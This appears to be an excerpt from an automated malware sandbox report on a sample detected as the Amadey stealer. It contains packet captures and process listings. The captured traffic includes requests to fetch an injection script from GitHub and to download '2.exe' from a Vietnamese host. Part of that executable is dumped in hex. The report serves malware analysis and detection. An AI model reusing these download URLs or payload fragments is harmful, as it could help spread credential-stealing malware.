2024-07-26 06:58:06 UTC	1390	IN	Data Raw: 87 c6 bc 81 e5 c6 01 f8 80 6e be 68 ae 8d 1a 92 d9 22 7c fb 47 cd 55 a8 b9 72 2b d4 f6 c4 b2 bb dd a3 21 3e c1 52 53 40 cc 0f 98 69 56 28 ab c0 b8 20 06 f5 02 9a 6f 68 bf 82 e6 8f 24 99 81 79 93 8e d4 f5 47 b4 3f 91 f0 93 e1 db ea 74 d9 df bc 02 e8 81 b4 53 49 59 03 c4 1b 90 6e de 93 27 17 a4 fa 97 68 50 4b ef a1 19 2a b3 8e 70 02 6b db 66 44 24 b0 33 79 cf de 43 b1 cd cd c3 41 86 8d 22 07 8e 36 37 b7 cc 9f 0b de bb 60 25 1c fe f7 ea 9b 07 c5 80 f6 9d 10 df 4c b8 27 ef 1c 14 d6 c4 c3 c8 1c ee dd 3d 4d da 8a 0c c4 52 71 54 0a cc 3d d5 5f 29 07 02 fd 8d 5b 75 1c 35 30 b0 47 f8 b3 f1 28 6e 46 7c 56 31 fc 89 c5 6c ca aa 76 67 10 f7 66 c9 bd 26 86 fd fd 33 5d db d6 b3 31 ae 67 3e af 13 4c ea cf 63 28 1c 73 d5 b7 cf 2e dd b8 9a fa 75 a8 12 83 1e ae 82 2c 32 d0 Data Ascii: nh"\|GUr+!>RS@iV( oh$yG?tSIYn'hPK*pkfD$3yCA"67`%L'=MRqT=_)[u50G(nF\|V1lvgf&3]1g>Lc(s.u,2
2024-07-26 06:58:06 UTC	1390	IN	Data Raw: 1a 0c 27 c9 15 33 8e 4d 6d 30 cb db c6 1d 95 4b 44 47 2a fe 65 6d 62 82 56 4a e1 cb 97 55 fc 6d 2d fc d8 a1 69 e9 bd ea 7b 41 b9 d4 6c 30 29 3a d9 54 cc 2c 05 5e a2 02 b3 c5 bb 08 19 d8 62 b9 d7 a5 62 06 3c 34 40 2e 25 3c 2e c3 97 e2 9d d1 3b c2 71 73 13 d5 e3 35 1f 0d 77 bd 52 9b 9d 01 9b 76 ce d3 0a 52 52 c7 6b 5d b2 e6 95 0a ae bf 14 a3 21 ab aa 31 20 bd b4 d7 42 bf e6 ac e0 5e 40 6f ac 03 3a 6a 01 54 03 d6 36 21 06 2c ba 37 91 a3 0c 4f d2 f8 12 13 46 bb 84 e9 6e dd 4f 81 45 78 78 68 42 e3 13 1f ac 1d 5f 60 04 f8 9a c2 4f 39 8e dc 8c 8d 17 91 02 eb a3 e5 59 ed 20 d2 12 4f e2 a7 7e 66 86 b7 89 8d 5e 42 dd ad 6d cf 2f c2 ed a0 58 e6 a4 e8 94 cb 4f a1 44 3b d4 2c b4 50 44 ce 14 d0 d2 b6 82 1a 45 be 6a b8 a8 f3 70 b4 81 60 59 46 50 39 3d 99 b2 b8 fb 19 23 Data Ascii: '3Mm0KDG*embVJUm-i{Al0):T,^bb<4@.%<.;qs5wRvRRk]!1 B^@o:jT6!,7OFnOExxhB_`O9Y O~f^Bm/XOD;,PDEjp`YFP9=#
2024-07-26 06:58:06 UTC	1390	IN	Data Raw: 5e 4e 7f fd fa f3 8f 27 8f ff d8 06 aa 7b 8f 52 b0 a4 78 a6 f8 ce 72 c4 5f 39 36 74 23 3d a2 5e 64 ed 29 3c 87 d5 63 57 ef 41 05 40 38 0f e8 2f d0 e8 ee 60 78 31 a8 e0 aa 56 f0 9d a3 17 ab 1f c9 83 ee a5 c0 0c d4 43 84 42 20 54 19 07 77 89 e3 f9 04 05 67 92 9e a7 b0 83 ae 1c df b9 60 e3 01 68 2e f0 49 a9 c5 b0 3d 74 1f 03 d9 07 37 09 19 27 70 29 60 8f d4 1e 13 eb a4 2d 83 17 0b 58 58 65 0b 2b 09 80 2e 29 5a 5a 1e 7b 0b 46 a0 a2 7f e9 a8 77 64 98 5b 0e e4 3a 8a 11 91 76 32 04 ed 6a 28 4f 01 04 c6 70 85 84 f6 e7 b3 20 6e 41 39 10 d0 00 a9 42 a0 f8 c0 6e f0 6c 6d 44 a1 12 09 6c f4 67 bf 3f ab ff f1 f8 f1 1c 10 16 b7 35 9a 93 9f 70 5f e2 ca bd 60 c7 46 0f d8 18 13 66 58 1b 01 f9 88 5d 2a e3 a5 e8 eb b3 27 1a 94 30 a2 67 4f 44 be 18 97 0f cf c7 58 11 76 5a 6f Data Ascii: ^N'{Rxr_96t#=^d)<cWA@8/`x1VCB Twg`h.I=t7'p)`-XXe+.)ZZ{Fwd[:v2j(Op nA9BnlmDlg?5p_`FfX]*'0gODXvZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49816	152.195.19.97	443	8868	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 06:58:09 UTC	614	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1722581862&P2=404&P3=2&P4=JTb11DAk5F9Oszx2ZD7t4rWwp2X7Vubt4472pLf9KPyjlESE8pxjdPkWyXdN2w2kCQiUmByTUNPH4C%2f3Mr5D4A%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: LX9M+99cQQGgkJSHrKyu3l Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 06:58:09 UTC	632	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 1903620 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Fri, 26 Jul 2024 06:58:09 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-07-26 06:58:09 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	49827	216.58.212.142	443	1180	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 06:58:12 UTC	558	OUT	GET /account HTTP/1.1 Host: www.youtube.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Cookie: YSC=gjyAnaIPjq4; VISITOR_INFO1_LIVE=A1jsir6wrTk; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgWg%3D%3D Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1
2024-07-26 06:58:13 UTC	1630	IN	HTTP/1.1 303 See Other Content-Type: application/binary X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 26 Jul 2024 06:58:13 GMT Location: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9 P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info." Server: ESF Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: GPS=1; Domain=.youtube.com; Expires=Fri, 26-Jul-2024 07:28:13 GMT; Path=/; Secure; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	49221	185.199.109.133	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 06:58:20 UTC	177	OUT	GET /justforMonster/injection/main/injection.js HTTP/1.1 Host: raw.githubusercontent.com Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.10 aiohttp/3.8.6
2024-07-26 06:58:20 UTC	795	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 14 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block Content-Type: text/plain; charset=utf-8 X-GitHub-Request-Id: E44B:2DEAE1:15CB3F:186164:66A3490C Accept-Ranges: bytes Date: Fri, 26 Jul 2024 06:58:20 GMT Via: 1.1 varnish X-Served-By: cache-ewr18126-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1721977100.472720,VS0,VE7 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: cc743a43d7c01c8120f88e89c3cda914a31a7ab5 Expires: Fri, 26 Jul 2024 07:03:20 GMT Source-Age: 0
2024-07-26 06:58:20 UTC	14	IN	Data Raw: 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: 404: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.7	49233	103.28.36.182	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 06:58:29 UTC	45	OUT	GET /tmp/2.exe HTTP/1.1 Host: coe.com.vn
2024-07-26 06:58:30 UTC	223	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:58:29 GMT Server: Apache Last-Modified: Fri, 26 Jul 2024 06:55:05 GMT Accept-Ranges: bytes Content-Length: 239104 Connection: close Content-Type: application/x-msdownload
2024-07-26 06:58:30 UTC	16384	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c3 7d b8 f5 87 1c d6 a6 87 1c d6 a6 87 1c d6 a6 e8 6a 7d a6 9c 1c d6 a6 e8 6a 48 a6 97 1c d6 a6 e8 6a 7c a6 e4 1c d6 a6 8e 64 45 a6 8e 1c d6 a6 87 1c d7 a6 f6 1c d6 a6 e8 6a 79 a6 86 1c d6 a6 e8 6a 4c a6 86 1c d6 a6 e8 6a 4b a6 86 1c d6 a6 52 69 63 68 87 1c d6 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 3a 18 c8 64 00 00 00 00 00 00 00 00 e0 00 03 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$}j}jHj\|dEjyjLjKRichPEL:d
2024-07-26 06:58:30 UTC	16384	IN	Data Raw: 83 fb 0b 74 05 83 fb 04 75 1b 8b 4f 60 89 4d d4 89 47 60 83 fb 08 75 3e 8b 4f 64 89 4d d0 c7 47 64 8c 00 00 00 83 fb 08 75 2c 8b 0d 58 fd 41 00 89 4d dc 8b 0d 5c fd 41 00 03 0d 58 fd 41 00 39 4d dc 7d 19 8b 4d dc 6b c9 0c 8b 57 5c 89 44 11 08 ff 45 dc eb dd e8 1f 0a 00 00 89 06 c7 45 fc fe ff ff ff e8 15 00 00 00 83 fb 08 75 1f ff 77 64 53 ff 55 e0 59 eb 19 8b 5d 08 8b 7d d8 83 7d e4 00 74 08 6a 00 e8 89 29 00 00 59 c3 53 ff 55 e0 59 83 fb 08 74 0a 83 fb 0b 74 05 83 fb 04 75 11 8b 45 d4 89 47 60 83 fb 08 75 06 8b 45 d0 89 47 64 33 c0 e8 1c ea ff ff c3 8b ff 55 8b ec 56 8b 75 08 56 e8 b1 2e 00 00 59 83 f8 ff 75 10 e8 ac e3 ff ff c7 00 09 00 00 00 83 c8 ff eb 4d 57 ff 75 10 6a 00 ff 75 0c 50 ff 15 1c f1 41 00 8b f8 83 ff ff 75 08 ff 15 5c f0 41 00 eb 02 33 Data Ascii: tuO`MG`u>OdMGdu,XAM\AXA9M}MkW\DEEuwdSUY]}}tj)YSUYttuEG`uEGd3UVuV.YuMWujuPAu\A3
2024-07-26 06:58:30 UTC	16384	IN	Data Raw: e8 d1 8a ff ff ff b6 8c 00 00 00 e8 c6 8a ff ff ff b6 90 00 00 00 e8 bb 8a ff ff ff b6 94 00 00 00 e8 b0 8a ff ff ff b6 98 00 00 00 e8 a5 8a ff ff ff b6 9c 00 00 00 e8 9a 8a ff ff ff b6 a0 00 00 00 e8 8f 8a ff ff ff b6 a4 00 00 00 e8 84 8a ff ff ff b6 a8 00 00 00 e8 79 8a ff ff ff b6 bc 00 00 00 e8 6e 8a ff ff ff b6 c0 00 00 00 e8 63 8a ff ff ff b6 c4 00 00 00 e8 58 8a ff ff ff b6 c8 00 00 00 e8 4d 8a ff ff ff b6 cc 00 00 00 e8 42 8a ff ff 83 c4 40 ff b6 d0 00 00 00 e8 34 8a ff ff ff b6 b8 00 00 00 e8 29 8a ff ff ff b6 d8 00 00 00 e8 1e 8a ff ff ff b6 dc 00 00 00 e8 13 8a ff ff ff b6 e0 00 00 00 e8 08 8a ff ff ff b6 e4 00 00 00 e8 fd 89 ff ff ff b6 e8 00 00 00 e8 f2 89 ff ff ff b6 ec 00 00 00 e8 e7 89 ff ff ff b6 d4 00 00 00 e8 dc 89 ff ff ff b6 f0 00 00 Data Ascii: yncXMB@4)
2024-07-26 06:58:30 UTC	16384	IN	Data Raw: 42 9f 57 01 ea f7 e6 4a da c7 be cc a0 26 f2 60 c7 5b e9 8d 7b 70 a7 9a 90 ce d5 10 55 5a 8b 71 98 3c e4 06 f7 49 c3 4d ee 4c b9 b1 5e f3 8c 1b c1 c8 a1 e8 5d bb 5c e3 9d 22 d1 a1 f4 0b d2 73 6f f1 07 7a 6e 28 ca 2c 89 75 b7 55 81 59 56 45 30 f4 6d 84 86 63 83 b1 47 15 03 7a 14 29 f8 b3 36 54 21 e9 ba 5b 38 6d b7 6e 6d c6 d9 af 35 83 6b c0 54 27 f8 b5 18 2b 39 24 81 25 43 b8 33 16 5c 45 a0 50 3f 83 37 ba 99 7e 43 23 17 85 b8 82 a8 db 83 95 d0 3d 52 fa bf 76 a4 f6 88 a0 5e 1e 42 17 06 53 6f a2 d4 c3 ac 91 08 e8 a5 ef eb d9 7e de b9 74 fd 3b cf 6c 1e 9e 67 20 7c 43 a2 e0 31 bf fb cc 57 e1 5b 18 9e 87 fa 72 02 68 23 93 6a 3d af 5d 8d f8 17 3a 1e f6 16 47 23 3b 20 be 1b b3 16 a9 9e 48 79 9e 99 1b d1 77 51 64 b0 1f d6 a2 8c 47 3e 63 fc a2 84 6a 09 df d5 6a 00 Data Ascii: BWJ&`[{pUZq<IML^]\"sozn(,uUYVE0mcGz)6T![8mnm5kT'+9$%C3\EP?7~C#=Rv^BSo~t;lg \|C1W[rh#j=]:G#; HywQdG>cjj
2024-07-26 06:58:30 UTC	16384	IN	Data Raw: d9 e5 82 e5 7f 71 ff 8f 58 7f f4 47 54 b3 1b 7c 35 53 16 9e 6a e9 c0 cc 4b 96 08 2d 61 d9 e1 d1 08 0f b0 fd 61 63 74 e0 31 52 01 b1 af e2 ce 63 0c a1 eb 4d 15 ce 08 7e 82 58 47 d3 7c fb e5 be 24 c3 d1 4a 71 b3 3e 26 aa a9 c9 99 f8 b1 7a 9c 71 42 47 84 e9 ef a4 66 bb 0f 2c ff 3d 98 c9 34 95 c2 3d cc 1c 5b 3d 94 bc 22 06 f1 7b 5c 42 87 c6 75 0a 94 2f 4f 73 d1 24 a9 9b 04 f8 d2 02 38 bf 2b a1 e9 72 ba b8 b5 41 4d f0 3e aa 00 1d 90 ef 70 b7 6e 74 06 33 18 b8 aa af ac 33 a1 77 ce 40 c5 30 99 70 86 4a cc 7c 30 b2 42 70 f9 81 43 82 11 98 79 70 2d f5 27 b6 b5 dd 3f b2 11 e1 a7 b0 cb d4 09 dd 05 d7 09 8f 02 b7 ef f9 e9 39 f7 be 92 10 3e cd 41 1d b9 06 98 05 e5 3e 8e 7f 61 8e 9c a5 8f 18 0d 95 d8 67 a0 d7 e0 a7 9f bc a8 97 61 c4 eb b7 dc ca 8a d7 57 4e 21 99 0a 43 Data Ascii: qXGT\|5SjK-aact1RcM~XG\|$Jq>&zqBGf,=4=[="{\Bu/Os$8+rAM>pnt33w@0pJ\|0BpCyp-'?9>A>agaWN!C
2024-07-26 06:58:30 UTC	16384	IN	Data Raw: 55 db 2d 73 91 a4 5b 2b 23 76 8a 30 86 64 1c f1 2a a5 34 9f 12 72 16 b5 27 14 8d 56 40 ff 99 84 4f e5 60 22 98 4f e9 1c 93 3b fc 29 8b 34 06 71 7f 25 7a aa b0 5c 78 67 47 dc 16 e8 de 94 29 1b a7 71 84 75 ab 7f 7a ea 25 d2 9a 10 f9 c0 36 1e 8a c6 5b 10 84 97 b9 79 72 63 9d d0 45 66 d2 47 c0 7a c6 5a 03 dc 5c 73 c5 99 48 d9 8c 41 21 23 c1 1c a2 c5 9f 3a a5 37 1f 58 b9 c6 6f 44 8e a0 66 52 93 6c 94 00 4f 6c 98 61 55 8b 89 db ed bd 86 1a f7 cc fe 96 b9 a8 cb c9 2f 2b 26 0d d3 99 ed 77 9f 2d 2f 16 89 d6 d1 30 1f 8c 0d 76 18 29 4d 6e f8 d2 b4 f5 ab be 86 66 53 e9 98 ca 1c 57 88 5f 00 24 37 9c de 40 2d cf 86 86 78 88 83 a0 2f 73 e4 d8 90 65 e5 74 14 07 0f 40 e9 10 df 9b 2a 2e 86 95 f9 71 ee 36 a0 13 91 74 8f 4a 45 be bc ee 8b 21 ae 49 85 38 b2 f2 1b 52 5c e4 cd Data Ascii: U-s[+#v0d4r'V@O`"O;)4q%z\xgG)quz%6[yrcEfGzZ\sHA!#:7XoDfRlOlaU/+&w-/0v)MnfSW_$7@-x/set@.q6tJE!I8R\
2024-07-26 06:58:30 UTC	16384	IN	Data Raw: 50 87 0b 75 62 74 8a 91 8c 94 0f 90 bb 47 ae f4 9e de c4 b6 a8 aa 1e ca ce cc d9 2a 82 60 8f bc fa ab 41 1b 1d 3a 35 92 b2 87 48 fc 1b 43 26 3c d8 77 28 13 0d d8 90 1d 65 ef a0 2b 3c fb e6 90 09 63 26 16 43 f2 e1 69 49 ee 04 6e 22 39 14 4f d1 b5 93 98 20 69 e1 52 28 f0 b2 4f 02 a4 82 22 6e c0 74 46 4d 1d f9 aa 02 69 4f 65 11 59 d1 99 df 13 db 6a 43 a9 b9 62 64 4c 45 5e f9 80 7f a1 e9 43 a3 60 d9 f5 75 9f 65 a6 91 80 be 3a 28 09 a2 d5 d2 3f c8 8b d3 f7 1d 7e 9d 32 a8 c1 49 9b 56 4e 72 af 1b 56 7d ef f6 76 00 5b 0d 5f 21 20 ea 7c 7d 89 7e af 32 c2 a8 e2 24 36 a9 39 09 d6 f7 5a 09 41 c9 e3 1e 70 6e 5d b1 5f 69 81 c8 fa 22 51 cc 50 65 16 02 fa 39 0f ea a7 5a bb ff 7e a5 be 88 19 0a 30 47 f8 57 eb 8a 96 12 da 51 a9 d2 ed be 5c d1 65 cd 9e 2b ee c0 89 e6 64 28 Data Ascii: PubtG*`A:5HC&<w(e+<c&CiIn"9O iR(O"ntFMiOeYjCbdLE^C`ue:(?~2IVNrV}v[_! \|}~2$69ZApn]_i"QPe9Z~0GWQ\e+d(
2024-07-26 06:58:30 UTC	16384	IN	Data Raw: d2 02 a8 72 f8 eb 81 4a 4b 2c ef a4 c9 02 66 60 f8 2a 6d a5 f9 dc 33 3c 3d 9b b1 ab 46 3b a2 27 30 45 ca df 7d e0 13 e5 d0 01 95 b3 a9 30 0e c3 ac 78 19 7b 97 20 48 3a 59 4d 8e 43 8b 4e 49 85 2b a3 e6 f4 30 87 e3 bc 36 b5 e5 f8 00 ce 68 53 6b 7a 53 61 ab b4 a0 14 a1 b4 87 5c 9b b6 c9 c1 a0 fd 2e 0e 8c 48 89 b1 f5 71 63 a1 05 e9 d7 ab e2 e1 2d a1 c6 bd 62 9f b8 36 01 c5 44 2a 25 73 22 b9 44 5d bc eb 3b 3a c6 f2 9c 94 da ba 78 ff 27 07 89 40 fc db dc 76 16 ec a0 4b a3 24 03 86 bc 5c 0a 35 c2 f4 31 49 2f ab 7e 9d a6 8c ad 25 12 c5 b2 f8 b1 2b 8b ae 4a 55 77 7e a2 a3 0f 1c ec 1c da f9 dd 8b 06 a8 e3 3e 66 02 a2 58 f7 23 62 1c a6 c6 3f 83 4c 2d 6e 55 2d 8b a4 07 9e 1a 6b a8 6a 47 bd 92 5a 8d a0 98 7c b7 0e b7 97 03 e6 24 aa 25 99 61 03 3a bf ef ac 5a 8b c0 0b Data Ascii: rJK,f`m3<=F;'0E}0x{ H:YMCNI+06hSkzSa\.Hqc-b6D%s"D];:x'@vK$\51I/~%+JUw~>fX#b?L-nU-kjGZ\|$%a:Z
2024-07-26 06:58:30 UTC	16384	IN	Data Raw: d4 ff ff ff 00 00 00 00 fe ff ff ff 00 00 00 00 74 7c 40 00 00 00 00 00 fe ff ff ff 00 00 00 00 d8 ff ff ff 00 00 00 00 fe ff ff ff fb 80 40 00 ff 80 40 00 00 00 00 00 fe ff ff ff 00 00 00 00 d4 ff ff ff 00 00 00 00 fe ff ff ff 00 00 00 00 60 82 40 00 00 00 00 00 fe ff ff ff 00 00 00 00 d4 ff ff ff 00 00 00 00 fe ff ff ff 00 00 00 00 3e 92 40 00 00 00 00 00 fe ff ff ff 00 00 00 00 d0 ff ff ff 00 00 00 00 fe ff ff ff 00 00 00 00 17 93 40 00 00 00 00 00 fe ff ff ff 00 00 00 00 d0 ff ff ff 00 00 00 00 fe ff ff ff 00 00 00 00 f1 97 40 00 24 19 02 00 00 00 00 00 00 00 00 00 ae 1d 02 00 0c f0 01 00 a0 1a 02 00 00 00 00 00 00 00 00 00 1e 1e 02 00 88 f1 01 00 18 19 02 00 00 00 00 00 00 00 00 00 4e 1e 02 00 00 f0 01 00 bc 1a 02 00 00 00 00 00 00 00 00 00 66 1e 02 Data Ascii: t\|@@@`@>@@@$Nf
2024-07-26 06:58:30 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Target ID:	1
Start time:	02:56:05
Start date:	26/07/2024
Path:	C:\Users\user\Desktop\JGKjBsQrMc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\JGKjBsQrMc.exe"
Imagebase:	0x4d0000
File size:	1'878'528 bytes
MD5 hash:	6F59CE88B52487BBA7EB59E81525C4F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1318379606.00000000004D1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1275086044.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:56:10
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"
Imagebase:	0xea0000
File size:	1'878'528 bytes
MD5 hash:	6F59CE88B52487BBA7EB59E81525C4F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.1317907392.0000000005470000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.1359759408.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:56:10
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Imagebase:	0xea0000
File size:	1'878'528 bytes
MD5 hash:	6F59CE88B52487BBA7EB59E81525C4F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000002.1372649130.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000003.1320945755.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	04:13:00
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Imagebase:	0xea0000
File size:	1'878'528 bytes
MD5 hash:	6F59CE88B52487BBA7EB59E81525C4F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
